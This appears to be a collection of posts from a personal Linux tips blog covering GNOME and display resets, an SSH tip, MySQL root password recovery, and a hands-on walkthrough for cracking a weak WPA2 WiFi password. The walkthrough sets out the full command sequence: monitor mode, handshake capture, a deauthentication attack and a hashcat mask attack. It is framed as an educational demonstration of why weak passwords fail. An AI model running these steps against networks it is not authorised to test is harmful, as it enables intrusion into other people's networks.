In case you mess up the schema for any reason and you are no longer able to open the Gnome settings, e.g. gnome-control-center, just do the following and then logout and back in (or simply reboot):
rm .config/dconf/user
That’s it! Enjoy!
Sources:
https://www.linuxuprising.com/2019/03/how-to-reset-gnome-desktop-settings-to.html
This post is for educational purposes only and should NOT be used otherwise. The primary aim is to understand how a weak WiFi password can be compromised in a few minutes, if not less.
In this post I will be explaining how you could easily brute force (masked) a weak WPA2 WiFi password that consists only of 8 digits (as many people do) using a local laptop with an old GPU card in a few minutes. So, probably the first thing you do after reading this (or even before reading) is to create a new password for your WiFi network with more than 8 characters, including numbers, a mix of upper & lower case and special characters.
The use of nvidia GPU here is due to the huge parallelism that can be achieved with it vs CPU, mainly due to the hundreds/thousands of CUDA cores.
airmon-ng start <YOUR_WIFI_CARD_NAME_FROM_IWCONFIG>airodump-ng <YOUR_WIFI_MONITORING_INTERFACE> #usually wlan0mon
CH 3 ][ Elapsed: 30 s ][ 2021-05-19 04:25
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
E4:FB:5D:00:2B:E0 -87 38 1 0 8 130 WPA2 CCMP PSK MYHome
54:39:DF:7C:83:B8 -86 39 0 0 6 130 WPA2 CCMP PSK Qtel-BB1
48:F9:B3:B7:A2:64 -80 28 1 0 8 195 WPA CCMP PSK BAMB 2
D8:48:0B:54:56:0D -84 17 0 0 11 130 WPA2 CCMP PSK Qtel-BB-2
02:26:89:70:BD:1D -84 5 0 0 6 130 WPA CCMP PSK dlinkTo start capturing packets from MYHome for example:
airodump-ng -c 8 --bssid E5:FB:5D:00:2A:E0 -w MYHome.out wlan0mon #wait till a full handshake occurs between a client and the networkIf a handshake doesn’t occur after waiting for some time, you can force it in another terminal (but take care you are moving from passive attack to active now and you might get detected):
aireplay-ng -0 2 -a E4:FB:5D:00:2B:E0 wlan0monWhen on the top right you see a message that a handshake occured, you have to convert the cap file to a format recognized by hashcat (using hashcat-utils which are downloaded separately):
cap2hccapx.bin MYHome.out-01.cap MYHome.hccapxhashcat.bin -m 2500 -a3 MYHome.hccapx -1 ?l?u -2 ?l?u?d ?d?d?d?d?d?d?d?d -w 3 # -w makes GPU utilization 100%, but may freeze your screenThe above is just an example for a masked attack, which is way better than the regular Brute Force one (kind of optimized brute force). Your playground is the mask (in bold in the previous command), which you can consider as an art, since you have to guess the range of the passwords. For this article, I made all the mask as digits, i.e. 8 numbers between 0 and 9.
Advanced Tip: -1 and -2 (can also use -3 and -4) are custom charsets that can be composed out of the charsets below. If you want for example to indicate that a character would be either a small or capital letter, then use -1 ?l?u and then use 1 in the mask.
This is a list that shows all the available charsets supported by hashcat as of now
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?h = 0123456789abcdef
?H = 0123456789ABCDEF
?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff
In case of a successful crack, hashcat will exit with Status: Cracked and will show you the password.
Enjoy!
Added GNOME
In case your display arrangement or settings, e.g. when you have 3 screens and you are for some reason unable to reorganize them or change their settings, just reset your display settings:
For KDE Plasma:
rm -rf .local/share/kscreen
For GNOME:
rm -rf .config/monitors.xml
Then just log out and back in.
That’s it! Enjoy!
Sources:
https://askubuntu.com/questions/749333/how-can-i-reset-my-display-settings-through-terminal
It’s a very basic post, yet still useful!
Sometimes when you disconnect from a network or VPN or have any network connectivity problem in general that affects an established SSH connection to any of your servers, the terminal hangs for quite a while and you most probably just close the terminal and open a new one!
To avoid this, just do the following:
And the session is terminated without having to close the terminal window, that’s it!
Enjoy!
Source: A comment on one of the StackOverflow posts that I can’t find right now!
Was too busy and haven’t written anything for quite a while!
Anyway, here is how to reset the root user password in MySQL 5.7 and later in a nutshell!
service mysql stop
mkdir -p /var/run/mysqld
chown mysql:mysql /var/run/mysqld
mysqld_safe --skip-grant-tables &
mysql
mysql> UPDATE mysql.user SET authentication_string=PASSWORD('new-password') WHERE User='root';
mysql> FLUSH PRIVILEGES;
mysql> exit;
mysqladmin -u root -p shutdown
service mysql start
That’s it, Enjoy!
Sources:
Just Some Techie Notes! 